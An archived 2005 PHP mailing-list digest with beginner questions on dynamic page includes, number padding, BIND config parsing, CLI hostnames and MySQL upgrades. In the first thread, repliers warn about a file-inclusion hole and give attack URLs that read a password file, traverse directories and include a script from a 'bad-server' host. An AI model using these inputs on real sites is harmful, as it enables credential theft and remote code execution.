php-general Digest 14 Feb 2005 01:13:24 -0000 Issue 3284
Topics (messages 208598 through 208624):
Dynamic PHP links
208598 by: Eduard Grigoryan
208599 by: Catalin Trifu
208602 by: Ryan A
208610 by: Burhan Khalid
Ensure a number is three digits long
208600 by: Shaun
208604 by: Mike
208605 by: M. Sokolewicz
need help parsing named.conf file
208601 by: Torsten Rosenberger
208606 by: M. Sokolewicz
208613 by: Robby Russell
208622 by: rosenberger.taoweb.at
Re: Advice/opinion requested on page section lineup
208603 by: Alp
Project partners London
208607 by: jACKY kENNA
Determine SERVER_NAME
208608 by: Gerard Samuel
208614 by: Mirco Blitz
208617 by: Gerard Samuel
208618 by: Bostjan Skufca . domenca.com
208621 by: Gerard Samuel
Re: pdf properties
208609 by: Burhan Khalid
Re: fsockopen: fetching url
208611 by: Bostjan Skufca . domenca.com
Re: updated php $_GET
208612 by: Bostjan Skufca . domenca.com
Unable to load dynamic library 'C:\PHP\ext\php_mssql.dll'
208615 by: ross.aztechost.com
208616 by: ross.aztechost.com
208620 by: John Holmes
php/mysql url validation methods...
208619 by: darren kirby
MySQL 4.1 upgrade under PHP4
208623 by: C.F. Scheidecker Antunes
Re: inheriting from non similar types?
208624 by: Jochem Maas
Administrivia:
To subscribe to the digest, e-mail:
[EMAIL PROTECTED]
To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]
To post to the list, e-mail:
php-general@lists.php.net
----------------------------------------------------------------------
--- Begin Message ---
Hi,
I'm new to PHP and I'd appreciate your advice a lot.
I'm trying to use dynamic PHP links instead of plain HTML and I'm gonna use
something like
this:
File "index.php":
<?
<a href=index.php?content=story.htm>story</a><br>
<a href=index.php?content=about.htm>about</a><br>
<?
if(isset($content)):
include $content;
else:
include "about.htm";
endif;
?>
But a guy told me it is not preferable to use this method because of security
considerations.
I'm sure there is a common way of building dynamic links; am I on wrong way?
Any help would be appreciated.
Thank you in advance
Best regards,
Eduard Grigoryan
*************************
Armenian Freenet Catalog
http://freenet.am/~edik_g
http://armfn.net/~edik_g
--- End Message ---
--- Begin Message ---
Hi,
Check out this http://phpsec.org/
Cheers,
Catalin
Hi,
I'm new to PHP and I'd appreciate your advice a lot.
I'm trying to use dynamic PHP links instead of plain HTML and I'm gonna use
something like
this:
File "index.php":
<?
<a href=index.php?content=story.htm>story</a><br>
<a href=index.php?content=about.htm>about</a><br>
<?
if(isset($content)):
include $content;
else:
include "about.htm";
endif;
?>
But a guy told me it is not preferable to use this method because of security
considerations.
I'm sure there is a common way of building dynamic links; am I on wrong way?
Any help would be appreciated.
Thank you in advance
Best regards,
Eduard Grigoryan
*************************
Armenian Freenet Catalog
http://freenet.am/~edik_g
http://armfn.net/~edik_g
--- End Message ---
--- Begin Message ---
Hey,
The reason your pal warned you against that approach is, someone could screw
with your url with something like this:
index.php?content=/etc/httpd/.dbmpasswd
which would include that file if it exists...its a security problem, be
careful and know EXACTLY what you are including/requiring.
-Ryan
On 2/12/2005 10:33:10 AM, Eduard Grigoryan ([EMAIL PROTECTED]) wrote:
> Hi,
>
>
>
> I'm new to PHP and I'd appreciate your advice a lot.
>
> I'm trying to use dynamic PHP links instead of plain HTML and I'm gonna
> use something like
>
> this:
>
> File "index.php":
>
> <?
>
> <a href=index.php?content=story.htm>story</a><br>
>
> <a href=index.php?content=about.htm>about</a><br>
>
> <?
>
> if(isset($content)):
>
> include $content;
>
> else:
>
> include "about.htm";
>
> endif;
>
> ?>
>
>
>
> But a guy told me it is not preferable to use this method because of
> security considerations.
>
> I'm sure there is a common way of building dynamic links; am I on wrong
way?
>
> Any help would be appreciated.
>
> Thank you in advance
>
>
>
> Best regards,
> Eduard Grigoryan
>
> *************************
> Armenian Freenet Catalog
> http://freenet.am/~edik_g
> http://armfn.net/~edik_g
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.300 / Virus Database: 265.8.7 - Release Date: 2/10/2005
--- End Message ---
--- Begin Message ---
Eduard Grigoryan wrote:
Hi,
I'm new to PHP and I'd appreciate your advice a lot.
I'm trying to use dynamic PHP links instead of plain HTML and I'm gonna use
something like
this:
File "index.php":
<?
<a href=index.php?content=story.htm>story</a><br>
<a href=index.php?content=about.htm>about</a><br>
<?
if(isset($content)):
include $content;
else:
include "about.htm";
endif;
?>
But a guy told me it is not preferable to use this method because of security
considerations.
I'm sure there is a common way of building dynamic links; am I on wrong way?
You can search the list archives for posts regarding this topic (it
comes up alot).
There are safer ways to do what you are doing. One simple way to "hack"
your script as written above would be to type :
index.php?content=../some/secret/file.txt
or,
index.php?content=http://www.bad-server.com/badscript.php
in the browser's address bar.
Regards,
Burhan
--- End Message ---
--- Begin Message ---
Hi,
I have am trying to create functions to convert strings to ascii and vice
versa:
function string_to_ascii( $str ) {
for( $i=0; $i < strlen( $str ); $i++ ) {
$asc .= ord( substr( $str, $i ) );
}
return $asc;
}
This function works fine, however I need to ensure that the ASCII
convertions are three digits long so that I know where to split the ASCII
string when converting back to a normal string. i.e. 97 must be 097.
Thanks for any advice offered
--- End Message ---
--- Begin Message ---
You should be able to do this quite well with the str_pad() function.
http://us3.php.net/manual/en/function.str-pad.php
-M
> -----Original Message-----
> From: Shaun [mailto:[EMAIL PROTECTED]
> Sent: Sunday, February 13, 2005 12:09 PM
> To: php-general@lists.php.net
> Subject: [PHP] Ensure a number is three digits long
>
> Hi,
>
> I have am trying to create functions to convert strings to
> ascii and vice
> versa:
>
> function string_to_ascii( $str ) {
> for( $i=0; $i < strlen( $str ); $i++ ) {
> $asc .= ord( substr( $str, $i ) );
> }
> return $asc;
> }
>
> This function works fine, however I need to ensure that the
> ASCII convertions are three digits long so that I know where
> to split the ASCII string when converting back to a normal
> string. i.e. 97 must be 097.
>
> Thanks for any advice offered
>
> --
> PHP General Mailing List (http://www.php.net/) To
> unsubscribe, visit: http://www.php.net/unsub.php
>
--- End Message ---
--- Begin Message ---
or do something like:
function string_to_ascii( $str ) {
for( $i=0; $i < strlen( $str ); $i++ ) {
$ret = ord( substr( $str, $i ) );
$asc .= (string) ($ret < 10 ? '00' : ($ret < 100 ? '0' : '')) . $ret;
}
return $asc;
}
Mike wrote:
You should be able to do this quite well with the str_pad() function.
http://us3.php.net/manual/en/function.str-pad.php
-M
-----Original Message-----
From: Shaun [mailto:[EMAIL PROTECTED]
Sent: Sunday, February 13, 2005 12:09 PM
To: php-general@lists.php.net
Subject: [PHP] Ensure a number is three digits long
Hi,
I have am trying to create functions to convert strings to
ascii and vice
versa:
function string_to_ascii( $str ) {
for( $i=0; $i < strlen( $str ); $i++ ) {
$asc .= ord( substr( $str, $i ) );
}
return $asc;
}
This function works fine, however I need to ensure that the
ASCII convertions are three digits long so that I know where
to split the ASCII string when converting back to a normal
string. i.e. 97 must be 097.
Thanks for any advice offered
--
PHP General Mailing List (http://www.php.net/) To
unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
Hello
is there a way to parse the named.conf file with preg_match_all to get
back an array which looks like
[options][directory] = '/var/lib/named'
[options][forwoarder] = '192.168.0.2'
[zone][mydomain.com][type] = 'master'
[zone][mydomain.com][notify] = 'yes'
[zone][domain2.com][type] = 'slave'
.
.
BR/Torsten
--- End Message ---
--- Begin Message ---
Torsten Rosenberger wrote:
Hello
is there a way to parse the named.conf file with preg_match_all to get
back an array which looks like
[options][directory] = '/var/lib/named'
[options][forwoarder] = '192.168.0.2'
[zone][mydomain.com][type] = 'master'
[zone][mydomain.com][notify] = 'yes'
[zone][domain2.com][type] = 'slave'
.
.
BR/Torsten
and "the named.conf" looks like.....?
--- End Message ---
--- Begin Message ---
On Sun, 2005-02-13 at 16:46 +0100, Torsten Rosenberger wrote:
> Hello
>
> is there a way to parse the named.conf file with preg_match_all to get
> back an array which looks like
>
> [options][directory] = '/var/lib/named'
> [options][forwoarder] = '192.168.0.2'
> [zone][mydomain.com][type] = 'master'
> [zone][mydomain.com][notify] = 'yes'
> [zone][domain2.com][type] = 'slave'
> .
> .
You might try googling for some existing classes that do this.
http://sourceforge.net/projects/phpbind/
--
/***************************************
* Robby Russell | Owner.Developer.Geek
* PLANET ARGON | www.planetargon.com
* Portland, OR | [EMAIL PROTECTED]
* 503.351.4730 | blog.planetargon.com
* PHP/PostgreSQL Hosting & Development
* --- Now hosting Ruby on Rails Apps ---
****************************************/
--- End Message ---
--- Begin Message ---
> and "the named.conf" looks like.....?
options {
# The directory statement defines the name server's working directory
directory "/var/lib/named";
# Write dump and statistics file to the log subdirectory. The
# pathenames are relative to the chroot jail.
dump-file "/var/log/named_dump.db";
statistics-file "/var/log/named.stats";
# The forwarders record contains a list of servers to which queries
# should be forwarded. Enable this line and modify the IP address to
# your provider's name server. Up to three servers may be listed.
forwarders { 192.0.2.1; 192.0.2.2; };
# Enable the next entry to prefer usage of the name server declared in
# the forwarders section.
#forward first;
notify no;
};
# To configure named's logging remove the leading '#' characters of the
# following examples.
#logging {
# # Log queries to a file limited to a size of 100 MB.
# channel query_logging {
# file "/var/log/named_querylog"
# versions 3 size 100M;
# print-time yes; // timestamp log entries
# };
# category queries {
# query_logging;
# };
#
# # Or log this kind alternatively to syslog.
# channel syslog_queries {
# syslog user;
# severity info;
# };
# category queries { syslog_queries; };
#
# # Log general name server errors to syslog.
# channel syslog_errors {
# syslog user;
# severity error;
# };
# category default { syslog_errors; };
#
# # Don't log lame server messages.
# category lame-servers { null; };
#};
# The following zone definitions don't need any modification. The first one
# is the definition of the root name servers. The second one defines
# localhost while the third defines the reverse lookup for localhost.
zone "." in {
type hint;
file "root.hint";
};
zone "localhost" in {
type master;
file "localhost.zone";
};
zone "0.0.127.in-addr.arpa" in {
type master;
file "127.0.0.zone";
};
BR/Torsten
--- End Message ---
--- Begin Message ---
Thanks Burhan,
That's almost what I exactly want to do. The question is "how do I start
doing that" which methodlogy, which structure, etc,,,
Alp
"Burhan Khalid" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Alp wrote:
> > Hi Jochem,
> >
> > Intention is to give a user the option of assigning "position" of a
> > "section" on the page, i.e:
> > First: sectA, then sectC, then sectE, then sectB and sectD.... or any
other
> > order that is indicated by the user. So it is somewhat like top-of-page,
> > mid-of-page etc but with a numbering/precedence/sorting (can be named
any)
> > system that populates the page according to the choice.
> > Roughly:
> > <--first section-->
> > <--second section-->
> > <--third section-->
> > <--fourth section-->
> > <--fifth section-->
>
> Alp:
>
> You can implement a weights system, similar to Drupal. In such a
> system, each item is given a weight -- the lighter the item floats to
> the top, and the heavier items sink to the bottom. Weights can range
> from anything (lets take -10 to 10 -- 0 being the default). 1 is
> "heavier" than 0, so any item with a weight of 1 sinks below any item
> with a weight < 1. -1 is lighter than 0, so it will float above both 0
> and 1.
>
> This type of system is good if you are not concerned with strict
> placing of items, since two items in the same weight category are simply
> stacked on top of each other.
>
> Regards,
> Burhan
--- End Message ---
--- Begin Message ---
Good day to you. We are looking for two or three programmers who want to
make some money, are self motivated, are prepared to take a gamble after
thoroughly investigating the risk, have excellent University results in
computer sciences and in particular have experience in of most, if not all,
of PHP, JavaScript, PostgreSQL /MySQL, HTML and CSS. GNU Linux will be used
for both development and production. We assume that you will be running GNU
Linux and have an Apache httpd server. This is a web application that will
require many technologies including SMS, both outgoing and parsing incoming
email, contact management and management reporting.
If the above matches you then we would be prepared to discuss our plans with
you and, if we click, invite you to join us.
Our project, an application for the web, is being developed on a speculative
basis having identified a gap in the market. We are therefore looking for
partners who will own a percentage of the final business. You will therefore
need to be self financed for the first 6 months.
As you would expect we will require you to agree and sign a Non-Disclosure
Agreement.
Our head office is in London. Whereas communication will be electronic face
to face discussions are occasionally useful.
Please reply to [EMAIL PROTECTED] with whatever information you feel is
relevant.
--- End Message ---
--- Begin Message ---
Via cli that is.
Is there anyway besides making an actual system call
(i.e. exec()/system()/etc...) to determine the server's name via php's
cli???
Thanks
--- End Message ---
--- Begin Message ---
Probably the Global Variable $SERVER_NAME helps you out.
Greetings
Mirco bLitz
-----Ursprüngliche Nachricht-----
Von: Gerard Samuel [mailto:[EMAIL PROTECTED]
Gesendet: Sonntag, 13. Februar 2005 19:33
An: php-general
Betreff: [PHP] Determine SERVER_NAME
Via cli that is.
Is there anyway besides making an actual system call (i.e.
exec()/system()/etc...) to determine the server's name via php's cli???
Thanks
--
PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:
http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
Mirco Blitz wrote:
Probably the Global Variable $SERVER_NAME helps you out.
The global variable $SERVER_NAME is not available via cli
(at least for me)
-----Ursprüngliche Nachricht-----
Von: Gerard Samuel [mailto:[EMAIL PROTECTED]
Gesendet: Sonntag, 13. Februar 2005 19:33
An: php-general
Betreff: [PHP] Determine SERVER_NAME
Via cli that is.
Is there anyway besides making an actual system call (i.e.
exec()/system()/etc...) to determine the server's name via php's cli???
Thanks
--
PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:
http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
php_uname()
B.
On Sunday 13 February 2005 20:37, Gerard Samuel wrote:
> Mirco Blitz wrote:
> >Probably the Global Variable $SERVER_NAME helps you out.
>
> The global variable $SERVER_NAME is not available via cli
> (at least for me)
>
> >-----Ursprüngliche Nachricht-----
> >Von: Gerard Samuel [mailto:[EMAIL PROTECTED]
> >Gesendet: Sonntag, 13. Februar 2005 19:33
> >An: php-general
> >Betreff: [PHP] Determine SERVER_NAME
> >
> >Via cli that is.
> >Is there anyway besides making an actual system call (i.e.
> >exec()/system()/etc...) to determine the server's name via php's cli???
> >
> >Thanks
> >
> >--
> >PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:
> >http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
Bostjan Skufca @ domenca.com wrote:
php_uname()
That works ->
$ php -r "var_dump(php_uname('n'));"
string(20) "gladiator.trini0.org
Thanks
On Sunday 13 February 2005 20:37, Gerard Samuel wrote:
Mirco Blitz wrote:
Probably the Global Variable $SERVER_NAME helps you out.
The global variable $SERVER_NAME is not available via cli
(at least for me)
-----Ursprüngliche Nachricht-----
Von: Gerard Samuel [mailto:[EMAIL PROTECTED]
Gesendet: Sonntag, 13. Februar 2005 19:33
An: php-general
Betreff: [PHP] Determine SERVER_NAME
Via cli that is.
Is there anyway besides making an actual system call (i.e.
exec()/system()/etc...) to determine the server's name via php's cli???
Thanks
--
PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:
http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
John Nichel wrote:
Jason Motes wrote:
Hello,
[ snipped]
Maybe if you send it 5 more times, someone will answer you.
I thought I was having problems with my email server, till you posted
this one.
Thanks,
Burhan
--- End Message ---
--- Begin Message ---
HTTP 1.0 does not support virtual hosts.
B.
On Friday 11 February 2005 18:04, [EMAIL PROTECTED] wrote:
> I'm using code below to fetch content from the url.
> This code was worked properly on two servers I tested but it want worked on
> the
> designated one, so after getting error message I figure it out it may
> be php.ini settings limitation
> ---------------------------------------------------------------------------
>------------------------------------- "The server encountered an internal
> error or misconfiguration and was unable to complete your request."
> "Additionally, a 404 Not Found error was encountered while trying to use an
> ErrorDocument to handle the request."
> ---------------------------------------------------------------------------
>-------------------------------------
>
>
> So here's the settings I found as possible reason for limitation on code
> execution.
> ---------------------------------------------------------------------------
>------------------------------------- disable_functions: readfile, system,
> passthru, shell_exec, shell_exec, system, execreadfile, system, passthru,
> shell_exec, shell_exec, system, exec
> ---------------------------------------------------------------------------
>------------------------------------- Does anybody hava any tip how to
> workarround on this?
>
>
> CODE
> ---------------------------------------------------------------------------
>------------------------------------- function fetchURL( $url ) {
> $url_parsed = parse_url($url);
> $host = isset($url_parsed["host"]) ? $url_parsed["host"]: "";
> $port = isset($url_parsed["port"]) ? $url_parsed["port"]: 0;
> if ($port==0)
> $port = 80;
> $path = $url_parsed["path"];
>
> $query = isset($url_parsed["query"]) ? $url_parsed["query"]: "";
>
> if ($query != "")
> $path .= "?" . $query;
>
> $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
>
> $fp = fsockopen($host, $port, $errno, $errstr, 30);
>
> fwrite($fp, $out);
> $body = false;
> $in = "";
> while (!feof($fp)) {
> $s = fgets($fp, 1024);
> if ( $body )
> $in .= $s;
> if ( $s == "\r\n" )
> $body = true;
> }
>
> fclose($fp);
>
> return $in;
> }
> ---------------------------------------------------------------------------
>-------------------------------------
--- End Message ---
--- Begin Message ---
$_GET[section] is slower than $_GET['section'], and quite significantly!
B.
On Saturday 12 February 2005 14:16, Jacco Ermers wrote:
> "Marek Kilimajer" <[EMAIL PROTECTED]> wrote in message
> news:[EMAIL PROTECTED]
>
> > Jacco Ermers wrote:
> >> Hello everyone,
> >>
> >> I recently installed php5 onto my windows IIS. Previous I had php
> >> running on Apache. I coded a page (testing purposes) but now I get
> >> errors. the page can be viewed on a remote server (without the errors)
> >> http://seabird.jmtech.ca
> >>
> >> Locally I receive these errors:
> >>
> >> Undefined index: section in
> >> C:\Inetpub\wwwroot\Seabird-local\includes\submenu.php on line 3
> >>
> >> if($_GET['section']=='') etc.
> >> It used to be that I could use a section == ''
> >> is it new to php5 that I cannot? and I also used to be able to use
> >> $_GET[section] and now I have to use $_GET['section']
> >>
> >> did I overlook anything configuring my php.ini or is this due to my new
> >> enviroment?
> >>
> >> Thank you for helping
> >
> > This is due to different setting in error reporting, now you have also
> > E_NOTICE turned on.
> >
> > if($_GET['section']=='')
> >
> > should be coded as:
> >
> > if(empty($_GET['section']))
> >
> > If GET variable 'section' is not sent, it is not equal to '', it does not
> > even exists, is undefined. Using it triggers error of level E_NOTICE.
> >
> > If you write
> >
> > $_GET[section]
> >
> > php is looking for constant named 'section'. However, it does not exists,
> > so an error of level E_NOTICE is triggered. Undefined constant is then
> > converted to string with its name. So you get $_GET['section'] in the
> > end.
> >
> > It's a good practice have full error reporting turned on, since this will
> > help you spot errors and write safer code.
>
> Thank you, that did the trick. Now it works without problems.
--- End Message ---
--- Begin Message ---
I have solved this problem before but cannot remember how.
The php.ini is set up any ideas??
Ross
--- End Message ---
--- Begin Message ---
I have solved this problem before but cannot remember how.
The php.ini is set up any ideas??
Ross
--- End Message ---
--- Begin Message ---
[EMAIL PROTECTED] wrote:
I have solved this problem before but cannot remember how.
The php.ini is set up any ideas??
Make sure libmysql.dll is in the windows or windows/system32 directory.
--
---John Holmes...
Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/
php|architect: The Magazine for PHP Professionals – www.phparch.com
--- End Message ---
--- Begin Message ---
Hello all,
On the main page of my website I have written a very simple comments feature
that allows people to leave a message under my posts, much like a blog. I
have purposely kept this very simple...
On the main page I have simple text links that someone can click on if they
want to leave a note. Clicking the link passes a variable $postid (a simple
int) to the backend script, which tells the database which 'blog entry' the
comment is attached to.
The problem is that after playing around with this a bit, it is clear that
someone can craft a url with an arbitrary $postid that is not in the database
yet. Now naively, it would seem that the worst someone could do is just
create arbitrary entries in the DB that may come back to bite me when I
actually _use_ the arbitrary postid down the road.
What I want to do is make sure that someone cannot create a post with a
$postid value greater than the largest $postid I have used so far.
Now, I thought about using a quick sql query to get the largest postid from
the DB and check that, but this will not work because of my own bad DB design
(I'm really just a hobbyist here...) in that if there are no comments
attached to a blog entry, then the postid for that entry is _not_ in the DB
until I get one.
So, I guess my option is to either create another DB table with only the valid
postid's in it and check that, or perhaps use a regexp to grab the highest
postid from the html link (which would be the one closest to the top of the
page).
I really don't want to have to change the current DB table, or have to update
one manually when I ad a new post on the main page.
I guess my question is if there is an easier way to validate the postid value
passed in the url. How would you do it?
If you need more info, please just ask...
Thanks,
Darren Kirby
--
darren kirby :: Part of the problem since 1976 :: http://badcomputer.org
"...the number of UNIX installations has grown to 10, with more expected..."
- Dennis Ritchie and Ken Thompson, June 1972
pgp9uFZhhgSKF.pgp
Description: PGP signature
--- End Message ---
--- Begin Message ---
Hello all,
Does anyone upgraded from MySQL 4.0 to MySQL 4.1 using PHP 4 code?
If so, what are the changes that were required on the code?
PHP website says that it is required to install a new MySQL extension.
I am doing PHP4 programming under Linux.
What do you suggest that I should be aware while upgrading the server?
Thank you,
C.F.
--- End Message ---
--- Begin Message ---
D_C wrote:
Hiya -
I want to create a class that inherits from a database object.
eg I have my own "user" Class, with general methods that do calculations etc.
However, it also reflects a table of the database, eg "age, location".
I want some methods called on the object to be handled by my class, but other
so at constructor time, something like
$this->parent = mysql_fetch_object($res); // returns a mysql obj with
age, loc etc records
then ...
$age = $userObj->age; // this actually comes straight from the dbase obj
$rating = $userObj->rating; // a public var calculated at construction
$life = $userObj->getSpend(); // this is a method to do a calc.
I could use a component (is the right OOP pattern word?)
$age = $userObj->dbObj->age
but I wanted to hide where the items are coming from. Also i want to
be able to just keep adding to the database without having to create
gettter/settter functions for everything...
I think python had some nice means of doing get/set functions
transparently, does PHP5 have anything like this?
very basically, add a __get() function to your User class.
(or its base class or whatever):
function __get($var)
{
// $userObj->dbObj should be protected/private
if (isset($this->dbObj->$var)) {
return $this->dbObj->$var;
}
}
if you now do:
echo $userObj->rating;
echo $userObj->age;
this will output as if you had called:
echo $userObj->dbObj->rating;
echo $userObj->dbObj->age;
assuming that rating and age don't exist as public properties in $userObj,
and do exist in $userObj->dbObj.
thanks!
/dc
--- End Message ---